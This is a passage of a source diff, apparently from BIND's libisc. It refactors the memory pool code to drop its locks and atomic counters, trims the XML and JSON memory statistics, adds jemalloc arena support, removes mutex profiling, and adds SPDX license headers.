-		mem_putstats(mctx, item, mpctx->size);
-		mem_put(mctx, item, mpctx->size);
+		mem_putstats(mctx, mpctx->size);
+		mem_put(mctx, item, mpctx->size, 0);
 	}
 
 	/*
@@ -1292,115 +1203,68 @@ isc_mempool_destroy(isc_mempool_t **mpctxp) {
 
 	mpctx->magic = 0;
 
-	isc_mem_put(mpctx->mctx, mpctx, sizeof(isc_mempool_t));
-
-	if (lock != NULL) {
-		UNLOCK(lock);
-	}
-}
-
-void
-isc_mempool_associatelock(isc_mempool_t *mpctx, isc_mutex_t *lock) {
-	REQUIRE(VALID_MEMPOOL(mpctx));
-	REQUIRE(lock != NULL);
-	REQUIRE(mpctx->lock == NULL);
-
-	mpctx->lock = lock;
+	isc_mem_putanddetach(&mpctx->mctx, mpctx, sizeof(isc_mempool_t));
 }
 
-#if __SANITIZE_ADDRESS__
 void *
-isc__mempool_get(isc_mempool_t *mpctx FLARG) {
-	REQUIRE(VALID_MEMPOOL(mpctx));
-
-	size_t allocated = atomic_fetch_add_release(&mpctx->allocated, 1);
-	size_t maxalloc = atomic_load_acquire(&mpctx->maxalloc);
-
-	/*
-	 * Don't let the caller go over quota.
-	 */
-	if (ISC_UNLIKELY(allocated >= maxalloc)) {
-		atomic_fetch_sub_release(&mpctx->allocated, 1);
-		return (NULL);
-	}
-
-	atomic_fetch_add_relaxed(&mpctx->gets, 1);
-
-	return (isc__mem_get(mpctx->mctx, mpctx->size FLARG_PASS));
-}
-
-void
-isc__mempool_put(isc_mempool_t *mpctx, void *mem FLARG) {
-	REQUIRE(VALID_MEMPOOL(mpctx));
-	REQUIRE(mem != NULL);
-
-	INSIST(atomic_fetch_sub_release(&mpctx->allocated, 1) > 0);
-
-	isc__mem_put(mpctx->mctx, mem, mpctx->size FLARG_PASS);
-}
-
-#else /* __SANITIZE_ADDRESS__ */
-void *
-isc__mempool_get(isc_mempool_t *mpctx FLARG) {
-	element *item = NULL;
-	unsigned int i;
+isc__mempool_get(isc_mempool_t *restrict mpctx FLARG) {
+	element *restrict item = NULL;
 
 	REQUIRE(VALID_MEMPOOL(mpctx));
 
-	size_t allocated = atomic_fetch_add_release(&mpctx->allocated, 1);
-	size_t maxalloc = atomic_load_acquire(&mpctx->maxalloc);
+	mpctx->allocated++;
 
-	/*
-	 * Don't let the caller go over quota
-	 */
-	if (ISC_UNLIKELY(allocated >= maxalloc)) {
-		atomic_fetch_sub_release(&mpctx->allocated, 1);
-		return (NULL);
-	}
-
-	MPCTXLOCK(mpctx);
-	if (ISC_UNLIKELY(mpctx->items == NULL)) {
+	if (mpctx->items == NULL) {
 		isc_mem_t *mctx = mpctx->mctx;
-		size_t fillcount = atomic_load_acquire(&mpctx->fillcount);
+#if !__SANITIZE_ADDRESS__
+		const size_t fillcount = mpctx->fillcount;
+#else
+		const size_t fillcount = 1;
+#endif
 		/*
-		 * We need to dip into the well.  Lock the memory
-		 * context here and fill up our free list.
+		 * We need to dip into the well.  Fill up our free list.
 		 */
-		for (i = 0; i < fillcount; i++) {
-			item = mem_get(mctx, mpctx->size);
+		for (size_t i = 0; i < fillcount; i++) {
+			item = mem_get(mctx, mpctx->size, 0);
 			mem_getstats(mctx, mpctx->size);
 			item->next = mpctx->items;
 			mpctx->items = item;
-			atomic_fetch_add_relaxed(&mpctx->freecount, 1);
+			mpctx->freecount++;
 		}
 	}
 
+	INSIST(mpctx->items != NULL);
 	item = mpctx->items;
+
 	mpctx->items = item->next;
 
-	INSIST(atomic_fetch_sub_release(&mpctx->freecount, 1) > 0);
-	atomic_fetch_add_relaxed(&mpctx->gets, 1);
+	INSIST(mpctx->freecount > 0);
+	mpctx->freecount--;
+	mpctx->gets++;
 
 	ADD_TRACE(mpctx->mctx, item, mpctx->size, file, line);
 
-	MPCTXUNLOCK(mpctx);
-
 	return (item);
 }
 
 /* coverity[+free : arg-1] */
 void
-isc__mempool_put(isc_mempool_t *mpctx, void *mem FLARG) {
-	element *item = NULL;
+isc__mempool_put(isc_mempool_t *restrict mpctx, void *mem FLARG) {
+	element *restrict item = NULL;
 
 	REQUIRE(VALID_MEMPOOL(mpctx));
 	REQUIRE(mem != NULL);
 
 	isc_mem_t *mctx = mpctx->mctx;
-	size_t freecount = atomic_load_acquire(&mpctx->freecount);
-	size_t freemax = atomic_load_acquire(&mpctx->freemax);
+	const size_t freecount = mpctx->freecount;
+#if !__SANITIZE_ADDRESS__
+	const size_t freemax = mpctx->freemax;
+#else
+	const size_t freemax = 0;
+#endif
 
-	INSIST(atomic_fetch_sub_release(&mpctx->allocated, 1) > 0);
+	INSIST(mpctx->allocated > 0);
+	mpctx->allocated--;
 
 	DELETE_TRACE(mctx, mem, mpctx->size, file, line);
 
@@ -1408,86 +1272,66 @@ isc__mempool_put(isc_mempool_t *mpctx, void *mem FLARG) {
 	 * If our free list is full, return this to the mctx directly.
 	 */
 	if (freecount >= freemax) {
-		mem_putstats(mctx, mem, mpctx->size);
-		mem_put(mctx, mem, mpctx->size);
+		mem_putstats(mctx, mpctx->size);
+		mem_put(mctx, mem, mpctx->size, 0);
 		return;
 	}
 
 	/*
 	 * Otherwise, attach it to our free list and bump the counter.
 	 */
-	MPCTXLOCK(mpctx);
-
 	item = (element *)mem;
 	item->next = mpctx->items;
 	mpctx->items = item;
-	atomic_fetch_add_relaxed(&mpctx->freecount, 1);
-
-	MPCTXUNLOCK(mpctx);
+	mpctx->freecount++;
 }
 
-#endif /* __SANITIZE_ADDRESS__ */
-
 /*
  * Quotas
  */
 
 void
-isc_mempool_setfreemax(isc_mempool_t *mpctx, unsigned int limit) {
+isc_mempool_setfreemax(isc_mempool_t *restrict mpctx,
+		       const unsigned int limit) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
-
-	atomic_store_release(&mpctx->freemax, limit);
-}
-
-unsigned int
-isc_mempool_getfreemax(isc_mempool_t *mpctx) {
-	REQUIRE(VALID_MEMPOOL(mpctx));
-
-	return (atomic_load_acquire(&mpctx->freemax));
+	mpctx->freemax = limit;
 }
 
 unsigned int
-isc_mempool_getfreecount(isc_mempool_t *mpctx) {
+isc_mempool_getfreemax(isc_mempool_t *restrict mpctx) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
 
-	return (atomic_load_relaxed(&mpctx->freecount));
-}
-
-void
-isc_mempool_setmaxalloc(isc_mempool_t *mpctx, unsigned int limit) {
-	REQUIRE(VALID_MEMPOOL(mpctx));
-	REQUIRE(limit > 0);
-
-	atomic_store_release(&mpctx->maxalloc, limit);
+	return (mpctx->freemax);
 }
 
 unsigned int
-isc_mempool_getmaxalloc(isc_mempool_t *mpctx) {
+isc_mempool_getfreecount(isc_mempool_t *restrict mpctx) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
 
-	return (atomic_load_relaxed(&mpctx->maxalloc));
+	return (mpctx->freecount);
 }
 
 unsigned int
-isc_mempool_getallocated(isc_mempool_t *mpctx) {
+isc_mempool_getallocated(isc_mempool_t *restrict mpctx) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
 
-	return (atomic_load_relaxed(&mpctx->allocated));
+	return (mpctx->allocated);
 }
 
 void
-isc_mempool_setfillcount(isc_mempool_t *mpctx, unsigned int limit) {
+isc_mempool_setfillcount(isc_mempool_t *restrict mpctx,
+			 unsigned int const limit) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
 	REQUIRE(limit > 0);
 
-	atomic_store_release(&mpctx->fillcount, limit);
+	mpctx->fillcount = limit;
 }
 
 unsigned int
-isc_mempool_getfillcount(isc_mempool_t *mpctx) {
+isc_mempool_getfillcount(isc_mempool_t *restrict mpctx) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
 
-	return (atomic_load_relaxed(&mpctx->fillcount));
+	return (mpctx->fillcount);
 }
 
 /*
@@ -1499,7 +1343,8 @@ print_contexts(FILE *file) {
 	isc_mem_t *ctx;
 
 	for (ctx = ISC_LIST_HEAD(contexts); ctx != NULL;
-	     ctx = ISC_LIST_NEXT(ctx, link)) {
+	     ctx = ISC_LIST_NEXT(ctx, link))
+	{
 		fprintf(file, "context: %p (%s): %" PRIuFAST32 " references\n",
 			ctx, ctx->name[0] == 0 ? "<unknown>" : ctx->name,
 			isc_refcount_current(&ctx->references));
@@ -1509,7 +1354,7 @@ print_contexts(FILE *file) {
 }
 #endif
 
-static atomic_uintptr_t checkdestroyed = ATOMIC_VAR_INIT(0);
+static atomic_uintptr_t checkdestroyed = 0;
 
 void
 isc_mem_checkdestroyed(FILE *file) {
@@ -1527,12 +1372,11 @@ isc__mem_checkdestroyed(void) {
 	LOCK(&contextslock);
 	if (!ISC_LIST_EMPTY(contexts)) {
 #if ISC_MEM_TRACKLINES
-		if (ISC_UNLIKELY((isc_mem_debugging & TRACE_OR_RECORD) != 0)) {
+		if ((isc_mem_debugging & TRACE_OR_RECORD) != 0) {
 			print_contexts(file);
 		}
 #endif /* if ISC_MEM_TRACKLINES */
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	UNLOCK(&contextslock);
 }
@@ -1542,13 +1386,6 @@ isc_mem_references(isc_mem_t *ctx) {
 	return (isc_refcount_current(&ctx->references));
 }
 
-typedef struct summarystat {
-	uint64_t total;
-	uint64_t inuse;
-	uint64_t malloced;
-	uint64_t contextsize;
-} summarystat_t;
-
 #ifdef HAVE_LIBXML2
 #define TRY0(a)                     \
 	do {                        \
@@ -1557,7 +1394,7 @@ typedef struct summarystat {
 			goto error; \
 	} while (0)
 static int
-xml_renderctx(isc_mem_t *ctx, summarystat_t *summary, xmlTextWriterPtr writer) {
+xml_renderctx(isc_mem_t *ctx, size_t *inuse, xmlTextWriterPtr writer) {
 	REQUIRE(VALID_CONTEXT(ctx));
 
 	int xmlrc;
@@ -1576,52 +1413,26 @@ xml_renderctx(isc_mem_t *ctx, summarystat_t *summary, xmlTextWriterPtr writer) {
 		TRY0(xmlTextWriterEndElement(writer)); /* name */
 	}
 
-	summary->contextsize += sizeof(*ctx);
-#if ISC_MEM_TRACKLINES
-	if (ctx->debuglist != NULL) {
-		summary->contextsize += DEBUG_TABLE_COUNT *
-						sizeof(debuglist_t) +
-					ctx->debuglistcnt * sizeof(debuglink_t);
-	}
-#endif /* if ISC_MEM_TRACKLINES */
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "references"));
 	TRY0(xmlTextWriterWriteFormatString(
 		writer, "%" PRIuFAST32,
 		isc_refcount_current(&ctx->references)));
 	TRY0(xmlTextWriterEndElement(writer)); /* references */
 
-	summary->total += isc_mem_total(ctx);
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "total"));
-	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    (uint64_t)isc_mem_total(ctx)));
-	TRY0(xmlTextWriterEndElement(writer)); /* total */
-
-	summary->inuse += isc_mem_inuse(ctx);
+	*inuse += isc_mem_inuse(ctx);
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "inuse"));
 	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
 					    (uint64_t)isc_mem_inuse(ctx)));
 	TRY0(xmlTextWriterEndElement(writer)); /* inuse */
 
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "maxinuse"));
-	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    (uint64_t)isc_mem_maxinuse(ctx)));
-	TRY0(xmlTextWriterEndElement(writer)); /* maxinuse */
-
-	summary->malloced += isc_mem_malloced(ctx);
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "malloced"));
 	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    (uint64_t)isc_mem_malloced(ctx)));
+					    (uint64_t)isc_mem_inuse(ctx)));
 	TRY0(xmlTextWriterEndElement(writer)); /* malloced */
 
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "maxmalloced"));
-	TRY0(xmlTextWriterWriteFormatString(
-		writer, "%" PRIu64 "", (uint64_t)isc_mem_maxmalloced(ctx)));
-	TRY0(xmlTextWriterEndElement(writer)); /* maxmalloced */
-
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "pools"));
 	TRY0(xmlTextWriterWriteFormatString(writer, "%u", ctx->poolcnt));
 	TRY0(xmlTextWriterEndElement(writer)); /* pools */
-	summary->contextsize += ctx->poolcnt * sizeof(isc_mempool_t);
 
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "hiwater"));
 	TRY0(xmlTextWriterWriteFormatString(
@@ -1646,20 +1457,17 @@ xml_renderctx(isc_mem_t *ctx, summarystat_t *summary, xmlTextWriterPtr writer) {
 int
 isc_mem_renderxml(void *writer0) {
 	isc_mem_t *ctx;
-	summarystat_t summary;
-	uint64_t lost;
+	size_t inuse = 0;
 	int xmlrc;
 	xmlTextWriterPtr writer = (xmlTextWriterPtr)writer0;
 
-	memset(&summary, 0, sizeof(summary));
-
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "contexts"));
 
 	LOCK(&contextslock);
-	lost = totallost;
 	for (ctx = ISC_LIST_HEAD(contexts); ctx != NULL;
-	     ctx = ISC_LIST_NEXT(ctx, link)) {
-		xmlrc = xml_renderctx(ctx, &summary, writer);
+	     ctx = ISC_LIST_NEXT(ctx, link))
+	{
+		xmlrc = xml_renderctx(ctx, &inuse, writer);
 		if (xmlrc < 0) {
 			UNLOCK(&contextslock);
 			goto error;
@@ -1671,30 +1479,16 @@ isc_mem_renderxml(void *writer0) {
 
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "summary"));
 
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "TotalUse"));
+	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "Malloced"));
 	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    summary.total));
-	TRY0(xmlTextWriterEndElement(writer)); /* TotalUse */
+					    (uint64_t)inuse));
+	TRY0(xmlTextWriterEndElement(writer)); /* malloced */
 
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "InUse"));
 	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    summary.inuse));
-	TRY0(xmlTextWriterEndElement(writer)); /* InUse */
-
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "Malloced"));
-	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    summary.malloced));
+					    (uint64_t)inuse));
 	TRY0(xmlTextWriterEndElement(writer)); /* InUse */
 
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "ContextSize"));
-	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "",
-					    summary.contextsize));
-	TRY0(xmlTextWriterEndElement(writer)); /* ContextSize */
-
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "Lost"));
-	TRY0(xmlTextWriterWriteFormatString(writer, "%" PRIu64 "", lost));
-	TRY0(xmlTextWriterEndElement(writer)); /* Lost */
-
 	TRY0(xmlTextWriterEndElement(writer)); /* summary */
 error:
 	return (xmlrc);
@@ -1706,9 +1500,8 @@ isc_mem_renderxml(void *writer0) {
 #define CHECKMEM(m) RUNTIME_CHECK(m != NULL)
 
 static isc_result_t
-json_renderctx(isc_mem_t *ctx, summarystat_t *summary, json_object *array) {
+json_renderctx(isc_mem_t *ctx, size_t *inuse, json_object *array) {
 	REQUIRE(VALID_CONTEXT(ctx));
-	REQUIRE(summary != NULL);
 	REQUIRE(array != NULL);
 
 	json_object *ctxobj, *obj;
@@ -1716,17 +1509,7 @@ json_renderctx(isc_mem_t *ctx, summarystat_t *summary, json_object *array) {
 
 	MCTXLOCK(ctx);
 
-	summary->contextsize += sizeof(*ctx);
-	summary->total += isc_mem_total(ctx);
-	summary->inuse += isc_mem_inuse(ctx);
-	summary->malloced += isc_mem_malloced(ctx);
-#if ISC_MEM_TRACKLINES
-	if (ctx->debuglist != NULL) {
-		summary->contextsize += DEBUG_TABLE_COUNT *
-						sizeof(debuglist_t) +
-					ctx->debuglistcnt * sizeof(debuglink_t);
-	}
-#endif /* if ISC_MEM_TRACKLINES */
+	*inuse += isc_mem_inuse(ctx);
 
 	ctxobj = json_object_new_object();
 	CHECKMEM(ctxobj);
@@ -1746,32 +1529,18 @@ json_renderctx(isc_mem_t *ctx, summarystat_t *summary, json_object *array) {
 	CHECKMEM(obj);
 	json_object_object_add(ctxobj, "references", obj);
 
-	obj = json_object_new_int64(isc_mem_total(ctx));
-	CHECKMEM(obj);
-	json_object_object_add(ctxobj, "total", obj);
-
 	obj = json_object_new_int64(isc_mem_inuse(ctx));
 	CHECKMEM(obj);
-	json_object_object_add(ctxobj, "inuse", obj);
-
-	obj = json_object_new_int64(isc_mem_maxinuse(ctx));
-	CHECKMEM(obj);
-	json_object_object_add(ctxobj, "maxinuse", obj);
-
-	obj = json_object_new_int64(isc_mem_malloced(ctx));
-	CHECKMEM(obj);
 	json_object_object_add(ctxobj, "malloced", obj);
 
-	obj = json_object_new_int64(isc_mem_maxmalloced(ctx));
+	obj = json_object_new_int64(isc_mem_inuse(ctx));
 	CHECKMEM(obj);
-	json_object_object_add(ctxobj, "maxmalloced", obj);
+	json_object_object_add(ctxobj, "inuse", obj);
 
 	obj = json_object_new_int64(ctx->poolcnt);
 	CHECKMEM(obj);
 	json_object_object_add(ctxobj, "pools", obj);
 
-	summary->contextsize += ctx->poolcnt * sizeof(isc_mempool_t);
-
 	obj = json_object_new_int64(atomic_load_relaxed(&ctx->hi_water));
 	CHECKMEM(obj);
 	json_object_object_add(ctxobj, "hiwater", obj);
@@ -1789,21 +1558,18 @@ isc_result_t
 isc_mem_renderjson(void *memobj0) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_mem_t *ctx;
-	summarystat_t summary;
-	uint64_t lost;
+	size_t inuse = 0;
 	json_object *ctxarray, *obj;
 	json_object *memobj = (json_object *)memobj0;
 
-	memset(&summary, 0, sizeof(summary));
-
 	ctxarray = json_object_new_array();
 	CHECKMEM(ctxarray);
 
 	LOCK(&contextslock);
-	lost = totallost;
 	for (ctx = ISC_LIST_HEAD(contexts); ctx != NULL;
-	     ctx = ISC_LIST_NEXT(ctx, link)) {
-		result = json_renderctx(ctx, &summary, ctxarray);
+	     ctx = ISC_LIST_NEXT(ctx, link))
+	{
+		result = json_renderctx(ctx, &inuse, ctxarray);
 		if (result != ISC_R_SUCCESS) {
 			UNLOCK(&contextslock);
 			goto error;
@@ -1811,26 +1577,14 @@ isc_mem_renderjson(void *memobj0) {
 	}
 	UNLOCK(&contextslock);
 
-	obj = json_object_new_int64(summary.total);
-	CHECKMEM(obj);
-	json_object_object_add(memobj, "TotalUse", obj);
-
-	obj = json_object_new_int64(summary.inuse);
+	obj = json_object_new_int64(inuse);
 	CHECKMEM(obj);
 	json_object_object_add(memobj, "InUse", obj);
 
-	obj = json_object_new_int64(summary.malloced);
+	obj = json_object_new_int64(inuse);
 	CHECKMEM(obj);
 	json_object_object_add(memobj, "Malloced", obj);
 
-	obj = json_object_new_int64(summary.contextsize);
-	CHECKMEM(obj);
-	json_object_object_add(memobj, "ContextSize", obj);
-
-	obj = json_object_new_int64(lost);
-	CHECKMEM(obj);
-	json_object_object_add(memobj, "Lost", obj);
-
 	json_object_object_add(memobj, "contexts", ctxarray);
 	return (ISC_R_SUCCESS);
 
@@ -1843,8 +1597,91 @@ isc_mem_renderjson(void *memobj0) {
 #endif /* HAVE_JSON_C */
 
 void
-isc_mem_create(isc_mem_t **mctxp) {
-	mem_create(mctxp, isc_mem_defaultflags);
+isc__mem_create(isc_mem_t **mctxp FLARG) {
+	mem_create(mctxp, isc_mem_debugging, isc_mem_defaultflags, 0);
+#if ISC_MEM_TRACKLINES
+	if ((isc_mem_debugging & ISC_MEM_DEBUGTRACE) != 0) {
+		fprintf(stderr, "create mctx %p file %s line %u\n", *mctxp,
+			file, line);
+	}
+#endif /* ISC_MEM_TRACKLINES */
+}
+
+void
+isc__mem_create_arena(isc_mem_t **mctxp FLARG) {
+	unsigned int arena_no = ISC_MEM_ILLEGAL_ARENA;
+
+	RUNTIME_CHECK(mem_jemalloc_arena_create(&arena_no));
+
+	/*
+	 * We use MALLOCX_TCACHE_NONE to bypass the tcache and route
+	 * allocations directly to the arena. That is a recommendation
+	 * from jemalloc developers:
+	 *
+	 * https://github.com/jemalloc/jemalloc/issues/2483#issuecomment-1698173849
+	 */
+	mem_create(mctxp, isc_mem_debugging, isc_mem_defaultflags,
+		   arena_no == ISC_MEM_ILLEGAL_ARENA
+			   ? 0
+			   : MALLOCX_ARENA(arena_no) | MALLOCX_TCACHE_NONE);
+	(*mctxp)->jemalloc_arena = arena_no;
+#if ISC_MEM_TRACKLINES
+	if ((isc_mem_debugging & ISC_MEM_DEBUGTRACE) != 0) {
+		fprintf(stderr,
+			"create mctx %p file %s line %u for jemalloc arena "
+			"%u\n",
+			*mctxp, file, line, arena_no);
+	}
+#endif /* ISC_MEM_TRACKLINES */
+}
+
+#ifdef JEMALLOC_API_SUPPORTED
+static bool
+jemalloc_set_ssize_value(const char *valname, ssize_t newval) {
+	int ret;
+
+	ret = mallctl(valname, NULL, NULL, &newval, sizeof(newval));
+	return (ret == 0);
+}
+#endif /* JEMALLOC_API_SUPPORTED */
+
+static isc_result_t
+mem_set_arena_ssize_value(isc_mem_t *mctx, const char *arena_valname,
+			  const ssize_t newval) {
+	REQUIRE(VALID_CONTEXT(mctx));
+#ifdef JEMALLOC_API_SUPPORTED
+	bool ret;
+	char buf[256] = { 0 };
+
+	if (mctx->jemalloc_arena == ISC_MEM_ILLEGAL_ARENA) {
+		return (ISC_R_UNEXPECTED);
+	}
+
+	(void)snprintf(buf, sizeof(buf), "arena.%u.%s", mctx->jemalloc_arena,
+		       arena_valname);
+
+	ret = jemalloc_set_ssize_value(buf, newval);
+
+	if (!ret) {
+		return (ISC_R_FAILURE);
+	}
+
+	return (ISC_R_SUCCESS);
+#else
+	UNUSED(arena_valname);
+	UNUSED(newval);
+	return (ISC_R_NOTIMPLEMENTED);
+#endif
+}
+
+isc_result_t
+isc_mem_arena_set_muzzy_decay_ms(isc_mem_t *mctx, const ssize_t decay_ms) {
+	return (mem_set_arena_ssize_value(mctx, "muzzy_decay_ms", decay_ms));
+}
+
+isc_result_t
+isc_mem_arena_set_dirty_decay_ms(isc_mem_t *mctx, const ssize_t decay_ms) {
+	return (mem_set_arena_ssize_value(mctx, "dirty_decay_ms", decay_ms));
 }
 
 void
diff --git a/lib/isc/mem_p.h b/lib/isc/mem_p.h
index dc17e06420..611a025a14 100644
--- a/lib/isc/mem_p.h
+++ b/lib/isc/mem_p.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/meminfo.c b/lib/isc/meminfo.c
index 46cb7d6855..612cceaed3 100644
--- a/lib/isc/meminfo.c
+++ b/lib/isc/meminfo.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/mutex.c b/lib/isc/mutex.c
index 1b5a839888..e591ffe872 100644
--- a/lib/isc/mutex.c
+++ b/lib/isc/mutex.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,282 +21,31 @@
 
 #include <isc/mutex.h>
 #include <isc/once.h>
-#include <isc/print.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#if ISC_MUTEX_PROFILE
-
-/*@{*/
-/*% Operations on timevals; adapted from FreeBSD's sys/time.h */
-#define timevalclear(tvp) ((tvp)->tv_sec = (tvp)->tv_usec = 0)
-#define timevaladd(vvp, uvp)                       \
-	do {                                       \
-		(vvp)->tv_sec += (uvp)->tv_sec;    \
-		(vvp)->tv_usec += (uvp)->tv_usec;  \
-		if ((vvp)->tv_usec >= 1000000) {   \
-			(vvp)->tv_sec++;           \
-			(vvp)->tv_usec -= 1000000; \
-		}                                  \
-	} while (0)
-#define timevalsub(vvp, uvp)                       \
-	do {                                       \
-		(vvp)->tv_sec -= (uvp)->tv_sec;    \
-		(vvp)->tv_usec -= (uvp)->tv_usec;  \
-		if ((vvp)->tv_usec < 0) {          \
-			(vvp)->tv_sec--;           \
-			(vvp)->tv_usec += 1000000; \
-		}                                  \
-	} while (0)
-
-/*@}*/
-
-#define ISC_MUTEX_MAX_LOCKERS 32
-
-typedef struct {
-	const char *file;
-	int line;
-	unsigned count;
-	struct timeval locked_total;
-	struct timeval wait_total;
-} isc_mutexlocker_t;
-
-struct isc_mutexstats {
-	const char *file; /*%< File mutex was created in. */
-	int line;	  /*%< Line mutex was created on. */
-	unsigned count;
-	struct timeval lock_t;
-	struct timeval locked_total;
-	struct timeval wait_total;
-	isc_mutexlocker_t *cur_locker;
-	isc_mutexlocker_t lockers[ISC_MUTEX_MAX_LOCKERS];
-};
-
-#ifndef ISC_MUTEX_PROFTABLESIZE
-#define ISC_MUTEX_PROFTABLESIZE (1024 * 1024)
-#endif /* ifndef ISC_MUTEX_PROFTABLESIZE */
-static isc_mutexstats_t stats[ISC_MUTEX_PROFTABLESIZE];
-static int stats_next = 0;
-static bool stats_init = false;
-static pthread_mutex_t statslock = PTHREAD_MUTEX_INITIALIZER;
-
-void
-isc_mutex_init_profile(isc_mutex_t *mp, const char *file, int line) {
-	int i, err;
-
-	err = pthread_mutex_init(&mp->mutex, NULL);
-	if (err != 0) {
-		strerror_r(err, strbuf, sizeof(strbuf));
-		isc_error_fatal(file, line, "pthread_mutex_init failed: %s",
-				strbuf);
-	}
-
-	RUNTIME_CHECK(pthread_mutex_lock(&statslock) == 0);
-
-	if (!stats_init) {
-		stats_init = true;
-	}
-
-	/*
-	 * If all statistics entries have been used, give up and trigger an
-	 * assertion failure.  There would be no other way to deal with this
-	 * because we'd like to keep record of all locks for the purpose of
-	 * debugging and the number of necessary locks is unpredictable.
-	 * If this failure is triggered while debugging, named should be
-	 * rebuilt with an increased ISC_MUTEX_PROFTABLESIZE.
-	 */
-	RUNTIME_CHECK(stats_next < ISC_MUTEX_PROFTABLESIZE);
-	mp->stats = &stats[stats_next++];
-
-	RUNTIME_CHECK(pthread_mutex_unlock(&statslock) == 0);
-
-	mp->stats->file = file;
-	mp->stats->line = line;
-	mp->stats->count = 0;
-	timevalclear(&mp->stats->locked_total);
-	timevalclear(&mp->stats->wait_total);
-	for (i = 0; i < ISC_MUTEX_MAX_LOCKERS; i++) {
-		mp->stats->lockers[i].file = NULL;
-		mp->stats->lockers[i].line = 0;
-		mp->stats->lockers[i].count = 0;
-		timevalclear(&mp->stats->lockers[i].locked_total);
-		timevalclear(&mp->stats->lockers[i].wait_total);
-	}
-}
-
-isc_result_t
-isc_mutex_lock_profile(isc_mutex_t *mp, const char *file, int line) {
-	struct timeval prelock_t;
-	struct timeval postlock_t;
-	isc_mutexlocker_t *locker = NULL;
-	int i;
-
-	gettimeofday(&prelock_t, NULL);
-
-	if (pthread_mutex_lock(&mp->mutex) != 0) {
-		return (ISC_R_UNEXPECTED);
-	}
-
-	gettimeofday(&postlock_t, NULL);
-	mp->stats->lock_t = postlock_t;
-
-	timevalsub(&postlock_t, &prelock_t);
-
-	mp->stats->count++;
-	timevaladd(&mp->stats->wait_total, &postlock_t);
-
-	for (i = 0; i < ISC_MUTEX_MAX_LOCKERS; i++) {
-		if (mp->stats->lockers[i].file == NULL) {
-			locker = &mp->stats->lockers[i];
-			locker->file = file;
-			locker->line = line;
-			break;
-		} else if (mp->stats->lockers[i].file == file &&
-			   mp->stats->lockers[i].line == line)
-		{
-			locker = &mp->stats->lockers[i];
-			break;
-		}
-	}
-
-	if (locker != NULL) {
-		locker->count++;
-		timevaladd(&locker->wait_total, &postlock_t);
-	}
-
-	mp->stats->cur_locker = locker;
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_mutex_unlock_profile(isc_mutex_t *mp, const char *file, int line) {
-	struct timeval unlock_t;
+#include "mutex_p.h"
 
-	UNUSED(file);
-	UNUSED(line);
-
-	if (mp->stats->cur_locker != NULL) {
-		gettimeofday(&unlock_t, NULL);
-		timevalsub(&unlock_t, &mp->stats->lock_t);
-		timevaladd(&mp->stats->locked_total, &unlock_t);
-		timevaladd(&mp->stats->cur_locker->locked_total, &unlock_t);
-		mp->stats->cur_locker = NULL;
-	}
-
-	return ((pthread_mutex_unlock((&mp->mutex)) == 0) ? ISC_R_SUCCESS
-							  : ISC_R_UNEXPECTED);
-}
-
-void
-isc_mutex_statsprofile(FILE *fp) {
-	isc_mutexlocker_t *locker;
-	int i, j;
-
-	fprintf(fp, "Mutex stats (in us)\n");
-	for (i = 0; i < stats_next; i++) {
-		fprintf(fp, "%-12s %4d: %10u  %lu.%06lu %lu.%06lu %5d\n",
-			stats[i].file, stats[i].line, stats[i].count,
-			stats[i].locked_total.tv_sec,
-			stats[i].locked_total.tv_usec,
-			stats[i].wait_total.tv_sec, stats[i].wait_total.tv_usec,
-			i);
